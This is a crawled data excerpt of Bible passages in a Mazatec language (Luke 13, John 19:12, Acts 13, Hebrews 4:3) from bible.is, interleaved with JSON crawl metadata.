yije‑nò. 6Jesús ti̱koa̱á tsibéno̱jmí jngoò‑la̱ kjoa̱ xi mangásòn. Kitsò‑la̱: ―Jngoò xi̱ta̱ xi kijna jngoò‑la̱ i̱'nde ñánda tjín‑la̱ toò uva, ya̱á títje̱jiìn jngoò‑la̱ yá toò iko̱. Xi̱ta̱ jè, j'iì katsejèn‑la̱ tsà yijà‑la̱ toò, ta̱nga ni̱mé kisakò‑la̱. 7K'e̱é kitsò‑la̱ jè xi̱ta̱ xi tíjna'nda: \"Kó jàn nó nga f'iì katsejèn‑la̱ yá jè, tsà yijà‑la̱ toò. Ta̱nga ni̱mé tjín‑la̱. Ti̱chásoìn. Nanguií tísíkits'ón.\" 8Jè xi̱ta̱ xi tíjna'nda kitsò: \"Na̱'èn, ti̱kíjna‑là nguì jngoò nó‑ìsa. Sikòn‑la̱, si̱ìxa̱n‑ngui‑la̱ ni'nde nga jngoò itjandiì; i̱kjoàn kinguì‑la̱ tjé'nde. 9Tsà koií na̱chrjein‑la̱, ko̱ja̱‑la̱ toò nó xi nchrobá; tsà majìn, ko̱maá i̱skan ki̱chásoìn.\" 10Jesús, k'e̱ nga tíhokóya jngoò ni'ya i̱ngo̱ sinagoga ts'e̱ xi̱ta̱ judío, jè na̱chrjein nìkjáya, 11ya̱ tíjna jngoò chjo̱ón xi jye kò chrj'oòn jàn nó tíjna nga xk'én. Jngoò ini̱ma̱ ch'o‑la̱ nei̱í tísítsit'in koa̱ mì xó kiì ma osìjna kixi̱. 12Jesús, k'e̱ nga kijtseè, kiìchja̱‑la̱, kitsò‑la̱: ―Chjo̱ón, jyeé ndaà‑ne ch'in xi tjín‑lè. 13I̱kjoàn tsohósòn‑la̱ tsja; jè chjo̱ón, ni̱to̱ón kjòkixi̱ ìjngoò k'a‑ne, i̱kjoàn kitsjaà‑la̱ kjo̱ndaà Nainá. 14Ta̱nga jè xi̱ta̱ sko̱‑la̱ ts'e̱ ni'ya i̱ngo̱ sinagoga kòjtií‑la̱ nga jè Jesús kisìndaà‑ne chjo̱ón jè, koií kjoa̱‑la̱ nga na̱chrjein nìkjáya; kitsò‑la̱ jñà xi̱ta̱ xi títsa̱jna: ―Joòn na̱chrjein tjín nga ma maxá; jñà na̱chrjein koi ko̱maá kji̱nchrobà nga ko̱ndaà‑nò, ta̱nga mìkiì tjí'nde jè na̱chrjein nìkjáya. 15K'e̱é kiìchja̱ Na̱'èn‑ná Jesús, kitsò: ―Jñò, xi jò ma i̱sén‑nò. Jè na̱chrjein nìkjáya, ¿a mì chíjnda̱'ñó‑jèn nchra̱ja̱‑nò ko̱ búrró‑nò nga nachrjenguioò ni'nga nga onguí nìk'ioò nandá? 16Ko̱ jè chjo̱ón jè, xi tsòti‑la̱ Abraham, jyeé kò chrj'oòn jàn nó tjín‑la̱ nga tjít'aà'ñó‑la̱ xi̱ta̱ nei̱í. ¿A mì ko̱ma tjájnda̱'ñó na̱s'ín jè na̱chrjein nìkjáya? 17K'e̱ nga jye o̱kitsò Jesús, tà kjòsobà‑la̱ ngats'iì xi̱ta̱ kondra̱‑la̱ ta̱nga jñà xi̱ta̱ na̱xa̱ndá kjòtsja‑la̱ koni s'ín tjín kjo̱xkón xi 'ñó jeya tís'ín Jesús. 18Jesús kitsò: ―¿Mé xi k'oa̱s'ín mangásòn‑kjoò koni s'ín otíxoma Nainá? ¿Mé xi siìngásòn‑kjoaà? 19Jè mangásòn‑ko̱ koni kji xojmá mostaza; k'e̱ jngoò xi̱ta̱ bítje̱jiìn nangui‑la̱, i̱kjoàn bisò, ma'nga; jñà ni̱se xi tjíma i'ngaá, bíndaà'a tjé‑la̱ jñà chrja‑la̱ yá. 20Ìjngoò k'a kiìchja̱ Jesús, kitsò: ―¿Mé xi si̱ngásòn‑kjoaá koni s'ín otíxoma Nainá? 21K'oa̱á ngaya‑la̱ koni jè na̱'yo̱ san, k'e̱ nga jngoò chjo̱ón síkájiìn jàn chi̱ba̱ skoa̱n i̱nchra̱jín, masan yije‑né kóho̱kji na̱'yo̱. 22Jesús, nga tífì ján ndi̱yá Jerusalén, kjìn na̱xa̱ndá jahato nga tsakóya, na̱xa̱ndá xi jtobá kjoàn ko̱ xi iì kjoàn. 23Jngoò xi̱ta̱ xi kiskònangui‑la̱, kitsò‑la̱: ―Na̱'èn, ¿a chibaá ma xi̱ta̱ xi ko̱chrjekàjiìn kjo̱'in Nainá? Jè, k'e̱é kitsò: 24―T'e̱en‑là kjo̱'ñó yijo‑nò nga ki̱tjás'e̱en jè xotjoa̱ xi 'nchrèya kji. K'oa̱á xán‑nò: kjìn xi̱ta̱ ko̱mejèn‑la̱ kjoa̱has'en ta̱nga mìkiì ko̱ma kjoa̱has'en. 25K'e̱ nga jè nei‑la̱ ni'ya ko̱sítje̱n nga ki̱ìchjoàjto xotjoa̱ ni'ya, jñò, tsà ndi̱tsiaán titsa̱jnaà, k'e̱é kíts'ia̱a nga ki̱nókjoa̱a, kixón: \"Na̱'èn, chíx'a̱‑náje̱n xotjoa̱ ni'ya.\" Jè nei‑la̱ ni'ya ki̱tso̱‑nò: \"Mìkiì bexkon‑nò ñánda‑ne tsa̱jòn.\" 26K'e̱é kíts'ia̱a nga kixón: \"Ta̱ñaá chichiko̱‑lèje̱n, ti̱koa̱á ta̱ñaá ki'yòko̱‑lèje̱n, ti̱koa̱á ya̱á ndi̱tsi̱n‑na̱je̱n tsakoòyi.\" 27Ta̱nga jè, tà ki̱tso̱ó‑nò: \"K'oa̱á xan‑nò, mìkiì bexkon‑nò ñánda‑ne tsa̱jòn. ¡Ti̱nchat'aàxìn‑ná ngats'ioò xi ch'o 'nè!\" 28Ya̱á jchìhindáyaà, ti̱koa̱ si̱jts'ioòn ni'ñoò k'e̱ nga jcha̱xkoòn jè Abraham, Isaac, Jacob, ngats'iì xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá nga ya̱ títsa̱jna ñánda tíhotíxoma Nainá, koa̱ jñò, xìn i̱'nde si̱ìkasén‑nò Nainá. 29Kjoi̱í‑ne xi̱ta̱ xi kji̱nchrobà‑ne nga ñijòn chrja̱ngui̱‑la̱ i̱sò'nde xi kítsa̱jnat'aà ími̱xa̱ nga ko̱kje̱n ñánda tíhotíxoma Nainá. 30I̱'ndei̱, tjín xi̱ta̱ xi títsa̱jna‑tji̱ngui, nga ko̱ma i̱skan jñà kítsa̱jna ítjòn; ti̱koa̱á tjín xi̱ta̱ xi títsa̱jna ítjòn i̱'ndei̱, k'e̱ nga ko̱ma i̱skan, jñà kjoe̱het'aà‑ne. 31Ti̱jè‑ne na̱chrjein ijchò i'nga xi̱ta̱ fariseo ñánda tíjna Jesús, kitsò‑la̱: ―Ti̱si̱t'aà xìn, jè Herodes mejèn‑la̱ si̱ìk'en‑lè. 32Kitsò Jesús: ―Tanguió, ko̱t'ìn‑là xi̱ta̱ maña̱ jè: \"I̱'ndei̱ ko̱ nchijòn‑lè k'oa̱á s'iaàn: ko̱chrjekàjñaà ini̱ma̱ ch'o‑la̱ nei̱í xi tíjiìn ini̱ma̱‑la̱ xi̱ta̱, ti̱koa̱ siìndaà‑na xi̱ta̱ xi xk'én; skanda k'e̱ ki̱jchò na̱chrjein nga kjoe̱het'aà xá‑na̱.\" 33K'oa̱á s'ín ko̱ma i̱'ndei̱, nchijòn‑le̱ ko̱ jngui‑le̱, kàtjì‑ìsa ndi̱yá‑na̱. Mìkiì ndaà tjín nga jngoò xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá, xìn‑t'aà ki̱yá‑la̱ na̱xa̱ndá Jerusalén. 34'¡Jñò xi xi̱ta̱ na̱xa̱ndá Jerusalén tsa̱jòn xi nìk'eèn xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá, ko̱ bìnè nda̱jo̱ jñà xi̱ta̱ xi Nainá síkasén‑nò! ¡Kjìn k'a kjòmejèn‑na nga tsibìxkóya i̱xti‑nò koni s'ín xa̱'nda̱ nga bíngui jnga̱á‑la̱ jñà i̱xti‑la̱; ta̱nga jñò, mìkiì kòkjeiín‑nò! 35Chítsejèn‑là ni'ya‑nò nga jye tsjeiìn‑takòn Nainá; k'oa̱á xán‑nò nga mì ti̱ kiì jcha̱xkoòn‑ná skanda k'e̱ nga ki̱jchò na̱chrjein nga kixón: \"¡Mé tà ndaà‑la̱ jè xi nchrobá ngajo‑la̱ Nainá!\"\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/13","date":"2017-09-26T16:58:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818696653.69\/warc\/CC-MAIN-20170926160416-20170926180416-00468.warc.gz","language":"maa","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000070333480835}","num_words":782,"character_repetition_ratio":0.059,"word_repetition_ratio":0.008,"special_characters_ratio":0.23,"stopwords_ratio":0.272,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12'Kia̱ nga ko̱kitsò Jesús, ya̱á kjo'tsia̱‑ni nga jè Pilato tsakátsji'nde‑la̱ kó'sín nga ma si̱ìkíjnandi̱í‑ni jè Jesús; tanga jñà xi̱ta̱ judío 'ñó kiìchja̱ nga kitsò‑la̱: ―Tsa si̱kíjnandi̱í‑ni jè xi̱ta̱ ra̱kìi̱, mì‑la tsa ya̱ nda fahijtako̱‑ni jè xi̱ta̱xá ítjòn ra batéxoma‑ná jè ra 'mì César. Nga̱ nga'tsì ra ta jè xi̱ta̱xá ítjòn tsò‑la̱ ijo‑la̱, kondra̱á fì‑la̱ jè xi̱ta̱xá ra tíbatéxoma‑ná.\nSan Juan 19:12\nFREE!\nOne App.\n1257 Languages.","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASAV\/John\/19\/12","date":"2017-09-25T23:03:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818693459.95\/warc\/CC-MAIN-20170925220350-20170926000350-00693.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":64,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.344,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ya̱ a̱jin na̱xi̱ndá‑la̱ Cristo ra tíjna ya̱ na̱xi̱ndá Antioquía tjín xi̱ta̱ ra chja̱ ngajo‑la̱ Nainá, ko̱ ra ti̱'koa̱á bakón‑ya kjoa̱ 'tse̱ Nainá: Jè Bernabé, Simón (ra ti̱'koa̱ Niger 'mì), ko̱ Lucio (ra ya̱ Cirene i̱'nde‑la̱), ko̱ jè Manaén, (jè ra ta̱ña kjójchákjoko̱ Herodes, jè ra tsatéxoma Galilea), ko̱ Saulo. 2Jngo ni̱chjin 'kia̱ nga i̱nchibexkón Nainá ko̱ ti̱'koa̱ nga tjítsa̱jnachjan ra a̱'ta 'tse̱ Nainá, jè Inìma̱ Tsje‑la̱ Nainá kitsó‑la̱: ―Ti̱kítsa̱jnanda‑ná jè Bernabé ko̱ jè Saulo a̱'ta 'tse̱ xá ra xá kíchjà‑la̱. 3'Kia̱ nga ijye tsikítsa'ba‑la̱ Nainá ko̱ nga ijye tsikìtsa̱jnachjan, jñà xi̱ta̱‑la̱ Cristo tsakásòn‑la̱ tsja Bernabé ko̱ Saulo, a̱kjòn isìkasén [ra a̱'ta 'tse̱ xá‑la̱ Nainá]. 4Jè Inìma̱ Tsje‑la̱ Nainá isìkasén Bernabé ko̱ Saulo nga kijì ya̱ Seleucia; ya̱á 'jaha'sen chitso nga kijì nangi ra kjijnajin‑ndá ra 'mì Chipre. 5'Kia̱ nga ijchò ya̱ na̱xi̱ndá Salamina, tsikí'tsia̱‑ní nga tsi'kéna̱jmí‑ya 'én‑la̱ Nainá ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío. Tje̱n‑ko̱ jè Juan Marcos ra ya̱ basìko̱'ta. 6'Kia̱ nga ijye tsatojin jè nangi Chipre ra kjijnajin‑ndá, ya̱á ijchò skanda jè na̱xi̱ndá ra 'mì Pafos. Ya̱á iskajin jngo xi̱ta̱ judío ra 'mì Barjesús, jngo xi̱ta̱ chji̱ne̱ ra ma‑la̱ bínda, ra ti̱'koa̱á xi̱ta̱ ndiso, nga 'koa̱á 'sín tsò nga jè Nainá chja̱ ngajo‑la̱. 7Jè xi̱ta̱ chji̱ne̱ ra̱kìi̱, ya̱á nda báko̱ jè Sergio Paulo ra xá ítjòn tjín‑la̱ ra a̱'ta 'tse̱ nangi Chipre, jngo xi̱ta̱ ra 'ñó nda fìya‑la̱. Kiìchja̱á‑la̱ jè Bernabé ko̱ Saulo nga̱ mejèn‑la̱ kji̱'nchré 'én‑la̱ Nainá. 8Tanga jè xi̱ta̱ chji̱ne̱ ra 'mì Barjesús ra Elimas tsò‑ni 'í‑la̱ 'kia̱ nga 'én griego, kondra̱á kijì‑la̱ Bernabé ko̱ Saulo. Mején tsatéchjà‑la̱ jè xi̱ta̱xá ítjòn ra̱kìi̱ nga ko̱'sín ko̱kjiín‑la̱ ra a̱'ta 'tse̱ Jesús. 9Tanga jè Saulo, ti̱jè‑ni ra 'mì Pablo, nda kjón tjíjin ya̱ inìma̱‑la̱, jè Inìma̱ Tsje‑la̱ Nainá; 'ñó isko'án, 10kitsò‑la̱: ―¡Xi̱ta̱ ndiso ra 'cho tíjna kjo̱bítsjen‑li, ra i'ndí‑la̱ xi̱ta̱‑ni̱í 'mì‑li! Ngaji̱, kondra̱á 'mì ijye‑la̱ ra kjoa̱kixi̱. ¡Kì ko̱'sín nikitsín jè ndi̱yá kixi̱‑la̱ Nainá! 11'Ndi̱ 'ndi̱ jé Nainá tsjá‑li kjo̱hi'in; ko̱xka̱‑ní. Kjín ni̱chjin mì kì ti̱ jcha̱a‑ni jè ndabá‑la̱ tsá'bí. Ti̱jé‑ni hora mì ti̱ kì ma tsatsíjen‑ila̱. Kj'ií xi̱ta̱á tsakátsji ra itsabà'ta. 12Jè xi̱ta̱xá ítjòn, 'kia̱ nga kijtse kjoa̱ kìi̱, kjokjiín‑la̱. Ko̱ ta kjóxkón‑la̱ koni 'sín tsakón‑ya‑la̱ Pablo ko̱ Bernabé a̱'ta 'tse̱ Na̱'ín‑ná. 13Pablo ko̱ xi̱ta̱ xákjién ra ta̱ña kjihijtako̱ 'jaha'sen jngo chitso ya̱ Pafos, kijì ján Perge i̱'nde ra chja̱‑ni Panfilia. Tanga 'kia̱ nga ijchò ya̱ Perge, jè Juan Marcos tsasèn'taxín‑ní, tsáfaá‑ni ya̱ Jerusalén. 14Jè Bernabé ko̱ Pablo 'jahato Perge, kijì ján Antioquía, na̱xi̱ndá ra chja̱‑ni Pisidia. Jè ni̱chjin níkjáya, 'jaha'sen ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío; ya̱á tsikitsa̱jna. 15'Kia̱ nga ijye iskotá'yá jñà xi̱ta̱ kjo̱téxoma‑la̱ Moisés ko̱ xa̱jo̱n ra tsikínda xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá, jñà xi̱ta̱ ítjòn‑la̱ ni'ya sinagoga kiìchja̱á‑la̱ Pablo ko̱ Bernabé, nga kitsò‑la̱: ―'Ndsé, tsa tjín‑no mé 'én ra 'kéna̱jmí‑la̱ xi̱ta̱ na̱xi̱ndá mé‑ni nga kata'se‑la̱ nga'ñó inìma̱‑la̱, maá ti̱nákjoa̱a. 16'Kia̱á tsasítje̱n Pablo; iskiítje̱n tsja nga isíjé‑la̱ nga jyò katitsa̱jna; kitsò‑la̱: ―Jiòn ra xi̱ta̱ Israel 'mì‑no, ko̱ ra mì tsa xi̱ta̱ Israel tanga tjín‑te‑no kjo̱skon ra a̱'ta 'tse̱ Nainá, nda ti̱ná'ya. 17Jè Nainá ra 'tse̱ na̱xi̱ndá Israel 'jahajin xi̱ta̱ jchínga‑ná; ko̱ 'koa̱á 'sín ki'sìn Nainá nga jngo na̱xi̱ndá ra 'ñó je 'kioo̱ kjomà 'kia̱ nga ti̱'sa̱ ya̱ títsa̱jna‑isa ya̱ Egipto, nga̱ mì tsa ya̱ i̱'nde‑la̱. Ra kjomà a̱skan‑nioo̱, Nainá, ngi ko̱ó nga'ñó‑la̱ nga tsachrjekàjin ya̱ Egipto. 18Ki'seé‑la̱ kjoa̱jetakòn Nainá nga ichán nó kisìkònda̱ jñà xi̱ta̱ Israel ya̱ i̱'nde'taxìn ñánda̱ nga i̱'nde kixì. 19Nainá, itoó na̱xi̱ndá isikjehesòn ya̱ nangi Canaán. A̱kjòn kitsjá kjo̱tjó‑la̱ jñà xi̱ta̱ Israel jñà nangi kìi̱. 20Nga'tsì kjoa̱ kìi̱, kja̱meé‑la ijòn sindo̱ masen nó nga ko̱'sín kjomà. 'Ra kjomà a̱skan‑nioo̱, Nainá kitsjá‑la̱ xi̱ta̱ ra tsikíndajín‑la̱ jñà xi̱ta̱ Israel skanda 'kia̱ nga 'ji jè Samuel, xi̱ta̱ ra kiìchja̱ya ngajo‑la̱ Nainá. 21Xi̱ta̱ na̱xi̱ndá Israel, isíjé‑la̱ Nainá jngo xi̱ta̱xá ítjòn ra mejèn‑la̱ ko̱tèxoma‑la̱. Ko̱ jè Nainá kitsjá‑la̱ jè Saúl, i'ndí‑la̱ xi̱ta̱ ra 'mì Cis ra tje̱‑la̱ Benjamín ma. Ichán nó tsatéxoma Saúl. 22Ra kjomà a̱skan‑nioo̱, Nainá tsjahíxìn jè Saúl; jè David kitsjá‑la̱ xá nga tsikijna xi̱ta̱xá ítjòn. Nainá kitsò a̱'ta 'tse̱ David: \"Ijyeé ndaá bexkoo̱n jè David jè i'ndí‑la̱ xi̱ta̱ ra 'mì Isaí; xi̱ta̱ ra̱kìi̱, sasén‑la̱ inìma̱‑na̱; nga̱ ra jè, síhitjasòn ijye‑ní ra 'a̱n mejèn‑na.\" 23Nainá isìkasén‑la̱ xi̱ta̱ Israel jngo xi̱ta̱ ra tje̱‑la̱ David ra 'mì Jesús nga jè ko̱chrjekàjin kjo̱hi'in koni 'sín nga ijye kitsjà 'én‑la̱ nga ti̱'sa̱‑ni. 24'Kia̱ nga ti̱kje 'fiì Jesús, Juan kiìchja̱yajin‑la̱ xi̱ta̱ na̱xi̱ndá Israel nga katasíkájno‑ni jé‑la̱ nga kì ti̱ tsja jé bátsji‑ni ko̱ katasatíndá. 25'Kia̱ nga ijye tífehe'ta ni̱chjin‑la̱ Juan a̱'ta 'tse̱ jè xá ra 'ji‑ni, kitsó‑ní: \"¿Jiòn, kó'sín níkítsjen ra a̱'ta tsa̱'a̱n? ¿A bixó‑nó: Jé‑la Cristo (ra xá Nainá isìkasén‑ni)? Majìn‑jìn. Tanga 'sa̱á nchrabá tje̱n‑ngi jngo‑na jè ra isa̱ 'ñó xkón tíjna; ra 'a̱n, skanda mí bakèn‑na nga 'a̱n skíjnda̱'ñóo̱ jè xo̱xía̱n xa̱jté‑la̱ koni jngo chi̱'nda\", kitsò Juan. 26'Nga'tsì‑no jiòn 'ndsé ra tje̱‑la̱ Abraham nchrabá'ta‑no, ko̱ jiòn ra mì tsa ya̱ nchrabá'ta‑no tanga 'yaxkón‑no Nainá: jién 'ji‑ná 'én ra̱kìi̱ a̱'ta 'tse̱ Cristo (ra xá Nainá isìkasén‑ni) nga jè ko̱chrjekàjin‑ná kjo̱hi'in. 27Jñà xi̱ta̱ na̱xi̱ndá Jerusalén ko̱ xi̱ta̱ ra tjíhijyo ítjòn‑la̱, mì kì kijtsexkon tsa jè Jesús ra Cristo, ti̱'koa̱á mì kì kjòchi̱ya‑la̱ jñà 'én ra chitá'yá 'kia̱ nga xki̱ ni̱chjin níkjáya ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío koni 'sín tjí'ta xa̱jo̱n 'tse̱ xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá. Jñà xi̱ta̱ kìi̱ kitsjá kjo̱hixi̱ nga ini'ken Jesús; 'koa̱á 'sín itjasòn koni 'sín tsò 'én kìi̱. 28Ni̱'sín mì kì mé jé isakò ra a̱'ta 'tse̱ Jesús nga bakèn‑la̱ nga ki̱yá, jñà xi̱ta̱ kìi̱, ta isa̱á ko̱'sín isíjé‑la̱ Pilato nga katasí'ken. 29'Kia̱ nga ijye itjasòn ijye koni 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá a̱'ta 'tse̱ Jesús, itjajén'ta‑ni krò, a̱kjòn kisihijin. 30Tanga Nainá isikjaáya‑ila̱ a̱'ta 'tse̱ kjo̱biya. 31Jesús, 'kia̱ nga ijye jaáya‑ila̱, kjín 'ka̱ tsakón‑la̱ ijo‑la̱ jñà xi̱ta̱ ra ta̱ña tsikimako̱ 'kia̱ nga inchrabà‑ni Galilea skanda Jerusalén; ni̱chjin 'ndi̱ 'ndi̱, jñá xi̱ta̱ kìi̱ ra 'béna̱jmí kixi̱‑la̱ xi̱ta̱ na̱xi̱ndá ra a̱'ta 'tse̱ Jesús. 32'Ti̱'koa̱á ngaji̱n, kií xá tima‑naji̱n nga i̱nchi'bèna̱jmí‑laji̱n 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo koni 'sín Nainá kitsjà‑la̱ tsa'ba jñà xi̱ta̱ jchínga‑na̱ji̱n. 33Ko̱ 'ndi̱‑ni̱, nga isikjaáya‑ila̱ Jesús, 'koa̱á 'sín ijye isìhitjasòn ra a̱'ta tsa̱ji̱n, ji̱n ra i̱xti‑la̱ xi̱ta̱ jchínga‑na̱ji̱n ma‑ji̱n. 'Koa̱á 'sín tjí'ta xa̱jo̱n 'tse̱ Salmo ra ma‑ni jò nga tsò: \"'Ndi̱ 'ndi̱, ji̱‑ní ra I'ndí‑na̱; ko̱ 'a̱án‑ná ra Na̱'ìn‑li ma.\" 34Koni 'sín ki'sìn Nainá nga kisikjaáya‑ila̱ Jesús a̱'ta 'tse̱ kjo̱biya nga mì ti̱ kì ki̱yá‑ni, 'koa̱á 'sín itjasòn 'én ra tjí'ta xa̱jo̱n‑la̱ Nainá nga tsò: \"'A̱án sichíkon'tin‑najiòn koni 'sín tsò 'én tsje‑na̱ ko̱ 'én kixi̱‑na̱ ra kítsja‑la̱ David.\" 35'Koa̱á ti̱'sín tjí'ta xa̱jo̱n 'tse̱ Salmo ñánda̱ nga xìn‑isa nga tsò: \"Mì kì ki̱'ndi nga kji̱'ndo ijo‑la̱ Xi̱ta̱ tsje‑li.\" 36Tanga jè David, 'kia̱ nga tsikijna i̱ i̱sà'nde, 'kia̱ nga ijye itjasòn ijye‑la̱ koni 'sín mejèn‑la̱ Nainá, a̱kjòn 'ken; 'koa̱á ti̱'sín kisihijin koni 'sín kjomà jñà xi̱ta̱ jchínga‑la̱; ko̱ jè ijo‑la̱ i'ndo‑ní. 37Tanga jè Xi̱ta̱ Tsje ra Nainá isikjaáya‑la̱ mì kì tsa i'ndo ijo‑la̱. 38'Koa̱á 'sín ma‑ni, jiòn 'ndsé, ko̱'sín nda katasijin‑no, jñà 'én ra nakjoáya‑ji̱n: jé‑ní nga a̱'ta 'tse̱é Jesús nga sa̱kò kjoa̱nìhijcha'ta a̱'ta 'tse̱ jé ra tjín‑no. 39Nga'tsì jé, ra mì ma jahíxìn‑no kjo̱téxoma‑la̱ Moisés nga xi̱ta̱ kixi̱ ki'sìn‑no, a̱'ta 'tse̱é Jesús tjáhixìn‑no nga xi̱ta̱ kixi̱ ko̱ma 'kia̱ nga ko̱kjiín‑no a̱'ta 'tse̱. 40Ti̱kinda̱a ijo‑no mé‑ni mì ko̱'sín ko̱ma'tin‑no koni 'sín tíchja̱ xa̱jo̱n‑la̱ jñà xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá nga tsò: 41Chítsijen, jiòn ra nachrjengio ra kjo̱hixi̱, kataxkón‑no, ko̱ ti̱jchija ijo‑no; jngo xá 'siaa̱n jè ni̱chjin tsa̱jiòn, 'kia̱ nga ti̱'sa̱ titsa̱jnakon‑isa. Skanda mì kì ko̱kjiín‑no tsa yá ra 'ke̱èna̱jmí‑no. 42Jè Pablo ko̱ Bernabé 'kia̱ nga ijye itjo‑ni ya̱ ni'ya sinagoga, jñà xi̱ta̱, 'koa̱á 'sín isíjé‑la̱ nga takó ká'téna̱jmíya‑la̱ a̱'ta 'tse̱ jñà kjoa̱ kìi̱ jè ni̱chjin níkjáya ra 'sa̱ nchrabá ra ma‑ni jin ni̱chjin. 43'Kia̱ nga ijye kijì‑ni jñà xi̱ta̱ ra ya̱ kjóxkóya, kjín ma‑ni xi̱ta̱ ra kijì tje̱n‑ngi‑la̱ Pablo ko̱ Bernabé. Tjín ra ngi xi̱ta̱ judío ko̱ tjín ra ta jahatjìya‑la̱ nga xi̱ta̱ judío kjomà ko̱ ti̱'koa̱á bexkón Nainá. A̱kjòn kiìchja̱‑la̱ nga 'ñó tsikínè‑la̱ nga nda kátíjin ikon ya̱ inìma̱‑la̱ jñà 'én ra ijye kií'nchré ra kjo̱nda 'tse̱ Nainá. 44Jè ni̱chjin níkjáya ra ìjngo ra ma‑ni jin ni̱chjin, kja̱meé kjóxkó ijye xi̱ta̱ na̱xi̱ndá ra ijchó 'nchré 'én‑la̱ Nainá. 45Tanga jñà xi̱ta̱ judío kjòchi̱ni̱keé Pablo 'kia̱ nga kijtse nga 'ñó kjìn ma‑ni xi̱ta̱. A̱kjòn tsikí'tsia̱ nga kondra̱ kijì‑la̱ koni 'sín kiìchja̱, ti̱'koa̱á kiìchja̱jno‑la̱. 46Pablo ko̱ Bernabé, 'ñó tsi'ké‑la̱ ikon; kitsò‑la̱: ―'Koa̱á 'sín tjínè‑naji̱n nga jiòn tsi'kèna̱jmí ítjòn‑laji̱n jè 'én‑la̱ Nainá jiòn ra xi̱ta̱ judío 'mì‑no; tanga inachrjengi‑nájiòn; ko̱ ti̱jión ko̱'sín i̱nchibinè‑la ijo‑no nga mì kì bakèn‑no nga kítsa̱jnakon inìma̱‑no skanda ta mé ni̱chjin‑nioo̱. 'Koa̱á ma‑ni nga ya̱á jnchro kongí 'kéna̱jmíya‑la̱ji̱n jñà ra mì tsa xi̱ta̱ judío. 47Nga̱ 'koa̱á 'sín kitsjà‑naji̱n kjo̱hixi̱ Nainá nga kitsò: Ji̱í tsja xá‑la nga si̱hisen‑la̱ jñà ra mì tsa xi̱ta̱ judío, kóho'ki nga tjíjtsa i̱sà'nde mé‑ni ma ki̱tjokajin‑ni kjo̱hi'in ra a̱'ta 'tse̱ jé‑la̱. 48'Kia̱ nga kií'nchré nga'tsì ra mì tsa xi̱ta̱ judío, kjotsjaá‑la̱; a̱kjòn tsikí'tsia̱ nga kitsò: Ndaá tjín 'én‑la̱ Nainá. Ko̱ kjokjiín‑la̱ nga'tsì xi̱ta̱ ra xá ijye ko̱'sín itjahájin‑ni nga 'se̱‑la̱ kjo̱binachon ni̱ ta̱ mé ni̱chjin‑nioo̱. 49'Koa̱á 'sín kjomà‑ni nga tsangasòn 'én‑la̱ Nainá kóho'ki ya̱ i̱'nde ra̱kìi̱. 50Tanga jñà xi̱ta̱ judío tsikí'tsia̱‑ní nga tsinchá'a jñà íchjín ra i̱jncha ítjòn ra bexkón Nainá ko̱ xi̱ta̱ ítjòn‑la̱ na̱xi̱ndá. Ko̱ jñá tsikí'tsia̱ nga kisìkjàn‑la̱ kjoa̱ nga kondra̱ kijì‑la̱ jè Pablo ko̱ Bernabé nga tsahatji̱ngi‑la̱. Ko̱ tsachrjekàjin ya̱ i̱'nde‑la̱ xi̱ta̱ kìi̱. 51Jè Pablo ko̱ Bernabé tsikítsajneé chijo ndsa̱ko̱ ra kondra̱ 'tse̱ xi̱ta̱ kìi̱ [jè ra bakón nga kjo̱hi'in 'se̱‑la̱ ra a̱'ta 'tse̱ Nainá]; a̱kjòn kijì ján na̱xi̱ndá Iconio. 52Tanga jñà xi̱ta̱ ra ya̱ kotá'yá'ta‑la̱ Cristo, 'ñó nda tjíjin inìma̱‑la̱ kjo̱tsjacha ko̱ Inìma̱ Tsje‑la̱ Nainá.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/13","date":"2017-09-23T18:37:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818689775.56\/warc\/CC-MAIN-20170923175524-20170923195524-00479.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":1560,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.335,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3Ta̱nga jñá xi jye mokjeiín‑ná, ki̱tjás'e̱n‑ná ya̱ i̱'nde ñánda ma nìkjáyaá, ñánda kitsò Nainá: Xi kjoa̱ jti‑na̱, k'oa̱á s'ín kitsjaà 'én‑na̱ xi ndso̱ba kichjà‑na nga mìkiì kjoa̱has'en‑jiìn i̱'nde ts'a̱n ñánda ma nìkjáyaá. Ta̱nga Nainá jye kjòtseé jyehet'aà xá xi kis'iìn kóni skanda k'e̱ nga tsibíndaà i̱sò'nde.\nHebreos 4:3\nFREE!\nOne App.\n1257 